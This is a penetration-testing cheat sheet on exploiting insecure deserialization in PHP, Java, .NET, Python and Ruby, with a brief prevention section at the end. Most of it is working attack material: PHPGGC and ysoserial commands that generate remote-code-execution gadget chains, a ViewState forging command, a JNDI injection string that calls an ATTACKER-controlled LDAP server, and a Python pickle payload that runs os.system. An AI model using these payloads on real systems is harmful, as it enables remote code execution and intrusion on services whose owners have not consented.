← All cheat sheets

INSECURE-DESERIALIZATION

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Identifying and exploiting unsafe deserialization across Java, PHP,
.NET, Python and Ruby. Authorized testing only.

IDENTIFY THE FORMAT#

  Java:    starts with AC ED 00 05  (hex)  /  rO0AB (base64)
  PHP:     O:8:"stdClass":...  a:...  s:...  b:...  i:...
  .NET:    AAEAAAD/////  (BinaryFormatter, base64)  /  ViewState __VIEWSTATE
  Python:  pickle - often base64; opcodes like ]q or } or c__main__
  Ruby:    Marshal - "\x04\x08" prefix  /  YAML !ruby/object
  Node:    node-serialize - _$$ND_FUNC$$_

WHERE TO LOOK#

    Cookies / session tokens, hidden form fields, __VIEWSTATE,
    API bodies, message queues, cache entries, JWT-like blobs that
    base64-decode to serialized data.

PHP#

  Magic methods that fire on deserialize: __wakeup, __destruct,
  __toString, __call. Build a POP chain from classes in scope.

    O:4:"User":2:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}
    # phar:// deserialization: metadata is unserialized on file ops
    phar://uploaded.jpg/x        # with crafted phar metadata

  Tooling: PHPGGC (gadget chain generator)
    phpggc Monolog/RCE1 system id -b
    phpggc -l                    # list known chains

JAVA#

  Vulnerable sinks: ObjectInputStream.readObject on untrusted data,
  JMX/RMI, JNDI lookups, some JSON libs with default typing.

  ysoserial - classic gadget chains:
    java -jar ysoserial.jar CommonsCollections6 'id' | base64
    java -jar ysoserial.jar URLDNS 'http://ATTACKER'   # detection ping
    # Common gadgets: CommonsCollections1-7, CommonsBeanutils1, Spring1/2

  Log4Shell-style JNDI (if reachable): ${jndi:ldap://ATTACKER/x}
  marshalsec to stand up a malicious LDAP/RMI server.

.NET#

  Dangerous: BinaryFormatter, LosFormatter, ObjectStateFormatter,
  Json.NET TypeNameHandling.All, ViewState without MAC.

    ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "calc"
    # ViewState (needs machineKey or MAC disabled):
    ysoserial.net -p ViewState -g TextFormattingRunProperties \
      -c "cmd" --generator=<hash> --validationkey=<key> --validationalg=SHA1

PYTHON (pickle)#

    import pickle, os, base64
    class E:
        def __reduce__(self):
            return (os.system, ('id',))
    print(base64.b64encode(pickle.dumps(E())).decode())
    # Any pickle.loads on attacker data == RCE.

  Also risky: yaml.load (use safe_load), jsonpickle, dill, shelve.

RUBY#

    # Marshal.load / YAML.load on untrusted input.
    # universal_gadget chains via ruby deserialization research.
    YAML: !ruby/object:Gem::Requirement ...

DETECTION TIPS#

  - URLDNS / DNS-callback gadgets confirm deserialization safely.
  - Flip a serialized boolean/role field and observe behavior.
  - Length/format changes causing 500s hint at a parser.

PREVENTION (blue side)#

  - Don't deserialize untrusted data; prefer JSON with strict schemas.
  - Sign+MAC any serialized state; enable ViewState MAC.
  - Allowlist classes (ObjectInputFilter / SerializationBinder).
  - Use safe_load; patch libraries; disable default typing.

  See also: JWT-ATTACKS, API-SECURITY, OWASP-TOP10, PROTOTYPE-POLLUTION.